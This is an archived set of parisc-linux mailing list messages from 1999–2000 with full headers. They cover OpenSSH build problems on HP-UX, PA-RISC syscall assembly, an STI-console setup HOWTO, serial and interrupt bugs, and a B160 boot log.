Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618947 770 80.91.229.3 (22 Nov 2014 01:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:47 +0000 (UTC)
Cc: "'Peter A. Peterson II'" <pedro@flynn.zork.net>,
        parisc-linux@thepuffingroup.com
To: "FINK,MARTIN \(HP-FtCollins,ex1\)" <martin_fink@hp.com>
Original-X-From: pedro@flynn.northpark.edu  Tue May 30 11:00:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA24536
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 11:00:40 -0600
Original-Received: (qmail 9444 invoked by uid 15267); 30 May 2000 17:01:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9433 invoked from network); 30 May 2000 17:01:03 -0000
Original-Received: from flynn.northpark.edu (206.68.40.29)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 17:01:03 -0000
Original-Received: from pedro by flynn.northpark.edu with local (Exim 3.12 #1 (Debian))
	id 12wpNu-0004X5-00; Tue, 30 May 2000 12:00:54 -0500
Mail-Followup-To: "FINK,MARTIN (HP-FtCollins,ex1)" <martin_fink@hp.com>,
	parisc-linux@thepuffingroup.com
User-Agent: Mutt/1.0.1i
In-Reply-To: <56D553C0B61BD311AD2300A0C9F485C2066C157E@xfc02.fc.hp.com>; from martin_fink@hp.com on Mon, May 29, 2000 at 05:38:33PM -0700
X-pw: reindeer flotilla
X-Breakfast-Special: Eggs=scrambled_hard; Toast=rye
Original-Sender: "Peter A. Peterson II" <pedro@flynn.northpark.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:7383

Martin --

I got egd installed and working properly, but now openssh craps out
under 'make install' because of:
[gumby(~/openssh-1.2.2)] sudo make install
        gcc -g -O2 -Wall -I/usr/local/ssl/include -D_HPUX_SOURCE
-DETCDIR=\"/usr/local/etc\" -DSc
In file included from config.h:336,
                 from includes.h:22,
                 from atomicio.c:26:
defines.h:93: parse error before `u_int64_t'
defines.h:93: warning: data definition has no type or storage class
*** Error exit code 1

Stop.
[gumby(~/openssh-1.2.2)]

This machine is running HP-UX 10. Would you know how to go about
adding the proper definitions to the types.h file?

(Or where I could read about how to do it?)

Thanks a lot,
Peter


Quoting FINK,MARTIN (HP-FtCollins,ex1):
> Peter -
> 
> Sorry to disappoint - /dev/random /dev/urandom are not available
> on HP-UX.  Lots of internal discussions inside HP on how/when
> to make it available.  No dates.
> 
> Martin
> 
> > 
> > I'm awaiting the day when I can fool around with Linux on my E-45, but
> > in the meantime, I'm trying to use it's tape drive to back up my
> > traditional Linux boxen via piping a tarball through ssh.  
> > However, ssh 
> > needs a random generator (like /dev/urandom/) and I don't 
> > know what an 
> > HP-UX equivalent might be, or how to go about installing one. 
> > 
> > Any ideas?
> > 
> > pedro

-- 
-----------------------------------------------
      "She's laughin in her sleeve, boys;
   I can feel it in my bones."  -- Tom Waits
-----------------------------------------------


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter A. Peterson II" <pedro@flynn.zork.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Tue, 30 May 2000 12:02:07 -0500
Lines: 4
Approved: news@gmane.org
Message-ID: <20000530120207.G11779@flynn.zork.net>
References: <56D553C0B61BD311AD2300A0C9F485C2066C157E@xfc02.fc.hp.com> <20000530120054.F11779@flynn.zork.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618947 773 80.91.229.3 (22 Nov 2014 01:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pedro@flynn.northpark.edu  Tue May 30 11:01:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA24628
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 11:01:42 -0600
Original-Received: (qmail 10489 invoked by uid 15267); 30 May 2000 17:02:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10478 invoked from network); 30 May 2000 17:02:08 -0000
Original-Received: from flynn.northpark.edu (206.68.40.29)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 17:02:08 -0000
Original-Received: from pedro by flynn.northpark.edu with local (Exim 3.12 #1 (Debian))
	id 12wpP5-0004XN-00
	for <parisc-linux@thepuffingroup.com>; Tue, 30 May 2000 12:02:07 -0500
Mail-Followup-To: parisc-linux@thepuffingroup.com
User-Agent: Mutt/1.0.1i
In-Reply-To: <20000530120054.F11779@flynn.zork.net>; from pedro@flynn.zork.net on Tue, May 30, 2000 at 12:00:54PM -0500
X-pw: reindeer flotilla
X-Breakfast-Special: Eggs=scrambled_hard; Toast=rye
Original-Sender: "Peter A. Peterson II" <pedro@flynn.northpark.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:7384

Guh. Sorry all.

-pedro


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Fri, 19 Mar 1999 07:40:09 -0800 (PST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990319072704.180B-100000@quark.ix.netcom.com>
References: <36F1754D.17EA4048@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618948 775 80.91.229.3 (22 Nov 2014 01:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:48 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Fri Mar 19 10:39:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id KAA20348
	for <hppa-linux@sod.res.cmu.edu>; Fri, 19 Mar 1999 10:39:47 -0500
Original-Received: (qmail 10445 invoked by uid 15267); 19 Mar 1999 15:39:00 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 10438 invoked from network); 19 Mar 1999 15:39:00 -0000
Original-Received: from dfw-ix4.ix.netcom.com (206.214.98.4)
  by mailserv2.iuinc.com with SMTP; 19 Mar 1999 15:39:00 -0000
Original-Received: (from smap@localhost)
          by dfw-ix4.ix.netcom.com (8.8.4/8.8.4)
	  id JAA05505 for <hppa-linux@thepuffingroup.com>; Fri, 19 Mar 1999 09:39:04 -0600 (CST)
Original-Received: from sji-ca14-35.ix.netcom.com(205.186.215.35) by dfw-ix4.ix.netcom.com via smap (V1.3)
	id rma005464; Fri Mar 19 09:38:33 1999
In-Reply-To: <36F1754D.17EA4048@netscape.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7385


> > The B bit is not a problem as long as the delay slot of the branch to the
> > gateway is either nullified or filled in with a non-branch instruction.
> > For example,
> > 
> >     LDIL L'GATEWAY,%r1
> >     BLE  R'GATEWAY(%sr7,%r1)
> >     LDO  sycallnum,%r22

	Branch to space in %sr7 and offset contained in %r1,
	also load the syscall number in %r22 in the delay slot of BLE.
	I guess the assumption here is that %sr7 points to system space.
	Value of GATEWAY can be replaced by 0xc0000000 or whatever.	
	
	A equivalent 80386 sequence to make syscall:

	movl	$1, %eax	; load syscall num in %eax. in this case
						"exit"
	int	$0x80		; syscall trap in to kernel

	The number 80 is OS dependent and no magic number. Its just that
	Linux 80386 goes through trap gate 128 (0x80) for syscalls.


						pkd
> 
> Someday (maybe today, if I get all my work done =) ), I'll learn to read
> that.
> 
> Mike
> 
> -- 


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Barrie Spence <baz@calvin.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Tue, 30 May 2000 17:22:21 +0000 (GMT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200005301722.SAA07304@calvin.demon.co.uk>
References: <20000529132352.D11779@flynn.zork.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618948 780 80.91.229.3 (22 Nov 2014 01:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: pedro@flynn.zork.net
Original-X-From: baz@calvin.demon.co.uk  Tue May 30 11:22:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA24904
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 11:22:16 -0600
Original-Received: (qmail 29487 invoked by uid 15267); 30 May 2000 17:22:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29460 invoked from network); 30 May 2000 17:22:41 -0000
Original-Received: from neodymium.btinternet.com (HELO neodymium) (194.73.73.83)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 17:22:41 -0000
Original-Received: from [62.6.79.136] (helo=calvin.demon.co.uk)
	by neodymium with esmtp (Exim 3.03 #16)
	id 12wpig-0002fJ-00; Tue, 30 May 2000 18:22:23 +0100
Original-Received: (from baz@localhost)
	by calvin.demon.co.uk (8.9.3/8.9.3) id SAA07304;
	Tue, 30 May 2000 18:22:21 +0100
In-Reply-To: <20000529132352.D11779@flynn.zork.net>
X-Mailer: Ishmail 1.3.3-990123-linux <http://www.ishmail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7386

"Peter A. Peterson II" <pedro@flynn.zork.net> wrote:
> Quoting Andrew Shugg:
> > You might like to consider using OpenSSH if you don't have any joy with ssh.
> > 
> > OpenSSH can be compiled[1] without a /dev/*random device by using egd[2], the
> > Entropy Gathering Daemon.  OpenSSH also requires installation of zlib and
> > openssl though (which is just a bit more effort, but oh well).  I've not used
> > egd so can't comment on it, but it's probably worth a go.
> 
> I was incorrectly specific. I installed openssh, zlib, and ssleay
> already, and in the configure process for openssh it crapped out 
> looking for /dev/urandom and/or egd. I think i'll look into egd. 

AFIAK, the more recent versions of openssh aren't supposed to need
/dev/urandom (or egd) when used with openssl-0.9.5.

Barrie


--
Barrie Spence			Sanity Clause? There is no Sanity Clause
Home: b.spence@ieee.org		Telephone +44 1506 442304
Play: barrie_spence@agilent.com


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Barrie Spence <baz@calvin.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 10/100 nic for 715 systems ?
Date: Tue, 30 May 2000 17:26:36 +0000 (GMT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200005301726.SAA07317@calvin.demon.co.uk>
References: <200005291335.IAA11105@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618948 782 80.91.229.3 (22 Nov 2014 01:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: steve@silug.org
Original-X-From: baz@calvin.demon.co.uk  Tue May 30 11:26:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA25114
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 11:26:33 -0600
Original-Received: (qmail 663 invoked by uid 15267); 30 May 2000 17:26:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 640 invoked from network); 30 May 2000 17:26:58 -0000
Original-Received: from tantalum.btinternet.com (HELO tantalum) (194.73.73.80)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 17:26:58 -0000
Original-Received: from [62.6.79.136] (helo=calvin.demon.co.uk)
	by tantalum with esmtp (Exim 3.03 #16)
	id 12wpmn-0003ei-00; Tue, 30 May 2000 18:26:37 +0100
Original-Received: (from baz@localhost)
	by calvin.demon.co.uk (8.9.3/8.9.3) id SAA07317;
	Tue, 30 May 2000 18:26:36 +0100
In-Reply-To: <200005291335.IAA11105@osiris.silug.org>
X-Mailer: Ishmail 1.3.3-990123-linux <http://www.ishmail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7387

Steven Pritchard <steve@silug.org> wrote:
> Ed June said:
> > Were there ever any EISA 10/100 LAN cards for 715 systems?
> > I have found straight 10's and 100's, but not a switching one.

There was an EISA card for the S700's, I think that it was
actually OEM'd from Interphase.

> At my previous job, I had a spare EISA 10/100 card originally out of a
> B160 that I used in my 715/100.
> 
> Either the cards or HP-UX was kind of weird about switching between 10
> and 100.  I think I only got that card to talk 100 with a particular
> brand of switch, and that was only when I forced the switch to 100
> half duplex.  (The PCI cards did the same thing, but a kernel patch
> for 10.20 released late last year seemed to fix autonegotiation.)

The EISA card was definitely only half-duplex and generally not 
considered a good performer.

The PCI and GSC cards are totally different beasts...

Barrie


--
Barrie Spence			Sanity Clause? There is no Sanity Clause
Home: b.spence@ieee.org		Telephone +44 1506 442304
Play: barrie_spence@agilent.com


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: Re: [parisc-linux] CONFIG_SYSCTL is not set
Date: Tue, 30 May 2000 20:05:52 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <00053020065500.00442@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618949 783 80.91.229.3 (22 Nov 2014 01:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Tue May 30 12:07:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA25582
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 12:07:04 -0600
Original-Received: (qmail 6131 invoked by uid 15267); 30 May 2000 18:07:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6115 invoked from network); 30 May 2000 18:07:29 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 18:07:29 -0000
Original-Received: (qmail 13266 invoked by uid 0); 30 May 2000 18:07:02 -0000
Original-Received: from unknown (HELO P100) (149.225.119.116)
  by mail03.rzmi.gmx.net with SMTP; 30 May 2000 18:07:02 -0000
X-Mailer: KMail [version 1.0.29.1]
Xref: news.gmane.org gmane.linux.ports.parisc:7388

---------  Weitergeleitete Nachricht  ----------
Subject: Re: [parisc-linux] CONFIG_SYSCTL is not set
Date: Tue, 30 May 2000 19:59:09 +0200
From: Helge Deller <deller@gmx.de>


Am Tue, 30 May 2000 schrieben Sie:
> THe linking problem I had was that "sysrq_enabled" is defined in
> keyboard.c, which formerly we never used, so the link was failing.
> That's why I hacked it into setup.c.  If your STI stuff causes us
> to compile keyboard.c, that would explain why you don't need my setup.c
> hack.

I just looked into it. You will NOT be forced by my patches to compile 
keyboard.c. You may stay with your usual configuration (no keyboard, no STI, 
only serial-console). In my last commit I changed defconfig to use virtual 
consoles, keyboard and hil-keyboard. This should not affect your usage of the 
serial-console.
So I think my changes should cleanly attach to any tree, and if you only use 
serial-console without keyboard enabled, you're right, that you will need the 
patch to setup.c. Couldn't you commit your patch to setup.c (with  #ifdef ... 
#endif) ?

Helge.
-------------------------------------------------------


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI-Console Mini-HOWTO
Date: Tue, 30 May 2000 20:10:48 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <00053020434701.00442@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618949 786 80.91.229.3 (22 Nov 2014 01:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Tue May 30 12:43:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26185
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 May 2000 12:43:26 -0600
Original-Received: (qmail 8884 invoked by uid 15267); 30 May 2000 18:43:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8868 invoked from network); 30 May 2000 18:43:52 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 May 2000 18:43:52 -0000
Original-Received: (qmail 3768 invoked by uid 0); 30 May 2000 18:43:48 -0000
Original-Received: from unknown (HELO P100) (149.225.119.116)
  by mail03.rzmi.gmx.net with SMTP; 30 May 2000 18:43:48 -0000
X-Mailer: KMail [version 1.0.29.1]
Xref: news.gmane.org gmane.linux.ports.parisc:7389

Hi,

After my last commits regarding keyboard-support and STI-Console I think a 
small MINI-HOWTO should help to avoid the most problems for people, who want to
try the STI-Console on their machines.....

But first of all, I would like to thank Philipp Rumpf <prumpf@tux.org> for
allowing me to commit his sticon.[c|h] drivers.

As usual, any feedback is welcome :-)

Helge

-----------------------------------------------------------------

STI-console MINI-HOWTO:
-----------------------

-  check out a fresh linux-2.3 and palo, delete your .config and 
   use "make menuconfig" :-)

-  SELECT ONLY ONE of 
	"Support for console on serial port"
    ** OR **
	"STI-Console".

-  if you get "unable to open initial console", check the
   MAJOR/MINOR of /dev/console in your ramdisk or NFS:
   mknod /dev/console c 5 1 	-- for serial console
   mknod /dev/console c 4 0	-- for STI-console (should it be 4/1 ?) 
   
   For both cases I uploaded new ramdisks (ramdisk20000530-[sercon|sticon].tgz)
   to ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks
   I added special files for lp- and parport-devices there too.

-  for the STI-console you may define the initial number of 
   rows & columns in drivers/video/dummycon.c (this is temporary).
   You may adjust the numbers to the kernel message
   "Console: switching to colour STI console <numcols>x<numrows>"
   you will get during the first time the kernel starts.
   
-  once you see your STI-console is working you may reenable 
   "unregister_console()" at the end of arch/parisc/pdc_cons.c
   This will disable the "double" output from the kernel.

-  The only tested keyboard-support is currently with HIL-keyboards as 
   used in 715/64's. PS/2-Keyboards *may* work (feedback welcome!).


From - Thu Nov 08 21:12:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ttyS00 reported twice
Date: Wed, 31 May 2000 16:41:02 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20000531164102.L2253@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618949 791 80.91.229.3 (22 Nov 2014 01:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed May 31 09:40:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04027
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 May 2000 09:40:46 -0600
Original-Received: (qmail 26225 invoked by uid 15267); 31 May 2000 15:41:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26200 invoked from network); 31 May 2000 15:41:13 -0000
Original-Received: from ppp-2-148.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.145.148)
  by mailserv2.iuinc.com with SMTP; 31 May 2000 15:41:13 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3FDBCB009; Wed, 31 May 2000 16:41:02 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7390

There was some discussion on irc yesterday about bootup messages reporting
something like:

Found serial #0 at 0xf0823000, IRQ 538
ttyS00 at iomem 0xf0823800 (irq = 538) is a 16550A
Found serial #1 at 0xf0822000, IRQ 537
ttyS00 at iomem 0xf0822800 (irq = 537) is a 16550A

i.e. both ports reported as ttyS00.  This seems to be a consequence of us
calling register_serial() before rs_init() is called.  In addition there
is a chunk of initialisation in rs_init() that is #ifndef CONFIG_GSC;
that would need to be enabled so that rs_table[].line is initialised,
before we would report ttyS01.

The solution might be to make register_serial() aware of whether rs_init()
has yet been called.  If it hasn't, register_serial() just queues the
struct_serial that was passed in and returns success.  At the end of
rs_init() we call register_serial() again for each item in the queue.
This is similar to what happens with the net devices.

Richard


From - Thu Nov 08 21:12:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] No handler for interrupt 259
Date: Wed, 31 May 2000 10:27:23 -0700 (PDT)
Lines: 351
Approved: news@gmane.org
Message-ID: <200005311727.KAA02868@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618950 793 80.91.229.3 (22 Nov 2014 01:15:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed May 31 11:26:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA05009
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 May 2000 11:25:59 -0600
Original-Received: (qmail 26323 invoked by uid 15267); 31 May 2000 17:26:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26312 invoked from network); 31 May 2000 17:26:27 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 31 May 2000 17:26:27 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel2.hp.com (Postfix) with ESMTP id D7F5111D9
	for <parisc-linux@thepuffingroup.com>; Wed, 31 May 2000 13:26:26 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 1A55A4FD8F
	for <parisc-linux@thepuffingroup.com>; Wed, 31 May 2000 12:26:26 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id KAA02868 for parisc-linux@thepuffingroup.com; Wed, 31 May 2000 10:27:23 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7391


Hi folks,
I've got minor bug in the 5/30 tree someone might be interested
in figuring out.  I'm getting a "No handler for interrupt 259"
message while this B160 is booting.

This is occurs because no one has registered an interrupt handler
to use EIRR bit 3.  IRQ region 1 (IRQ's 256-511) is for the CPU.
Enableding "DEBUG_IRQ" in arch/parisc/kernel/irq.c produces
the "1+3" seen in the output.

Shortly after the spurious interrupt, Dino gets assigned this bit.
But I think that's just a coincidence since Dino registers haven't
been initialized by the dino driver yet. The value in Dino's IAR0
register is 0xfffffff8 - not even a valid CPU address.

So who *is* generating interrupt on EIRR bit 3?
And do they interfer with Dino operation later by
generating additional spurious interrupts?

Please ignore the "Code 8" at the end of the console output
for now. That's a different problem...

thanks,
grant


Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 0060b0-07e40c
System IP Address 15.8.80.77
Server IP Address 15.8.80.76

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Tue May 30 15:42:05 PDT 2000
0/vmlinux 2284379 bytes @ 0x7800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76:/tftpboot/aachen'
0/ramdisk 870400 bytes @ 0x23535b
Kernel: partition 0 file /vmlinux
ELF32 executable
                prepare_loadable 0050368c 2

Entry 00101b3c first 00100000 n 4
Segment 0 load 00100000 size 1277348 mediaptr 0x1000
Segment 1 load 00238000 size 121564 mediaptr 0x139000
Segment 2 load 00258000 size 69288 mediaptr 0x157000
Segment 3 load 0026c000 size 8192 mediaptr 0x168000
branching to kernel entry point 0x00101b3c
pdc_cons registered !
The Kernel has started...
Free memory starts at: 0xc029b000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76:/tftpboot/aachen'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005020 00000481 00000000 02020202 77f5e270 100000f0 00000004 000000ba 000000ba
vers    00000008
cpuid   000001e8
CPUID vers 15 rev 8
CPU(s): 1 x PA7300LC at 160.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
2. Unknown device (4) at 0xfff8c000, versions 0x3d, 0x0, 0x89, 0x0, 0x80
3. Merlin L2 160 (9000/778/B160L) (0) at 0xfffbe000, versions 0x502, 0x0, 0x4, 0x0, 0x81
4. ThunderHawk Memory (1) at 0xfffbf000, versions 0x67, 0x0, 0x9, 0x0, 0x0
5. Merlin 160 Core BA (11) at 0xffd00000, versions 0x3d, 0x0, 0x81, 0x0, 0x0
6. Merlin 160 Core RS-232 (10) at 0xffd05000, versions 0x3d, 0x0, 0x8c, 0x0, 0x0
7. Merlin 160 Core SCSI (10) at 0xffd06000, versions 0x3d, 0x0, 0x82, 0x0, 0x0
8. Merlin 160 Core Lan (802.3) (10) at 0xffd07000, versions 0x3d, 0x0, 0x8a, 0x0, 0x0
9. Merlin 160 Core Centronics (10) at 0xffd02000, versions 0x3d, 0x0, 0x74, 0x0, 0x0
10. Merlin 160 Core Audio (10) at 0xffd04000, versions 0x3d, 0x4, 0x7b, 0x0, 0x0
11. Merlin 160 Core PC Keyboard (10) at 0xffd08000, versions 0x3d, 0x0, 0x84, 0x0, 0x0
12. Merlin 160 Core PC Keyboard (10) at 0xffd08100, versions 0x3d, 0x0, 0x84, 0x0, 0x0
13. Merlin+ Wax BA (11) at 0xffe00000, versions 0x3a, 0x0, 0x8e, 0x0, 0x0
14. Merlin+ Wax EISA BA (11) at 0xfc000000, versions 0x3a, 0x0, 0x90, 0x0, 0x0
15. Merlin+ Wax HIL (10) at 0xffe01000, versions 0x3a, 0x0, 0x73, 0x0, 0x0
16. Merlin+ Wax RS-232 (10) at 0xffe02000, versions 0x3a, 0x0, 0x8c, 0x0, 0x0
17. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
18. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0, 0x0
That's a total of 18 devices.
Linux version 2.3.99-pre8 (grundler@hpisp747) (gcc version 2.9-hppa-991112) #229 Tue May 30 15:42:03 PDT 2000
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 105.27 BogoMIPS
Memory: 125960k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
c7ff0000 c7ff8000 c7fee000 c7ffc000
